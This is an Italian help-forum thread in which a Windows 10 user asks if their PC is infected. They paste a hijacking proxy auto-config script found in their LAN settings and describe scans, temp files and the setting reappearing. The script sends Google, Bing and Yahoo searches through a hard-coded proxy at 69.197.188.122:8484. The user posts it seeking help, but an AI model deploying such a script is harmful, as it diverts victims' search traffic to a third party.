[Win10] localhost.world. Sono infetto?

[psychok9]

Mentre ero su Facebook, mi sono ritrovato il browser chiuso (per un attimo ho visto una finestra nera)... e ho notato che ho ritrovato questo percorso nella configurazione Internet proxy di Windows
(utilizza script di configurazione automatica):
https://localhost.world/localhost.world

function FindProxyForURL(url, host) {

if (shExpMatch(host, "www.bing.com")) return "PROXY 69.197.188.122:8484";
if (shExpMatch(host, "*.search.yahoo.com")) return "PROXY 69.197.188.122:8484";

ga = /^https?:\/\/www\.google\.[a-zA-Z.]+\/?$/;if (ga.test(url)) { return "PROXY 69.197.188.122:8484" }


gb = /^https?:\/\/www\.google\.[a-zA-Z.]+\/\?(.*)$/;if (gb.test(url)) { return "PROXY 69.197.188.122:8484" }


gc = /^https?:\/\/www\.google\.[a-zA-Z.]+\/search\?(.*)$/;if (gc.test(url)) { return "PROXY 69.197.188.122:8484" }


gd = /^https?:\/\/www\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gd.test(url)) { return "PROXY 69.197.188.122:8484" }

ge = /^https?:\/\/www\.google\.[a-zA-Z.]+\/s\?(.*)$/;if (ge.test(url)) { return "PROXY 69.197.188.122:8484" }

gx = /^https?:\/\/cse\.google\.[a-zA-Z.]+\/cse\?(.*)$/;if (gx.test(url)) { return "PROXY 69.197.188.122:8484" }


return "DIRECT";

}

Cosa può essere? Ho fatto scansioni complete, con Windows Defender, Avira, kaspersky removal tool, ... il sistema sembra pulito.

[psychok9]

Malware Bytes Niente.
Ho trovato file generati continuamente su C:\Windows\temp
"tmp00000000" e altri... che poi spariscono.
Adesso avira mi segnala TR/Patched.Ren.Gen2 sul file temp, ma non vorrei che fosse un falso allarme, dovuto ad AdAware.
Dopo che non ha trovato nulla l'ho disinstallato e i file sembrano spariti... in più avevo fatto anche un Windows Repair... mi tocca cambiare le password?! :(

[psychok9]

In rete non riesco a trovare nessun caso in cui venga impostato localhost.world come configurazione proxy...
Mi sembra parecchio strano, anche solo un suggerimento sarebbe qualcosa.

[psychok9]

Oggi mi è capitato di nuovo, si è chiuso improvvisamente youtube mentre guardavo un video e mi sono ritrovato "impostazioni LAN" modificato!
Avevo già cancellato tutta la cache... e non ho estensioni strane attive.

Help :cry:

[psychok9]

Sembra che qualcun'altro abbia il mio stesso problema.
Oggi ho ritrovato impostato lo stesso file di configurazione... :muro:

http://www.tenforums.com/antivirus-firewalls-system-security/27107-google-redirection-localhost-world-2.html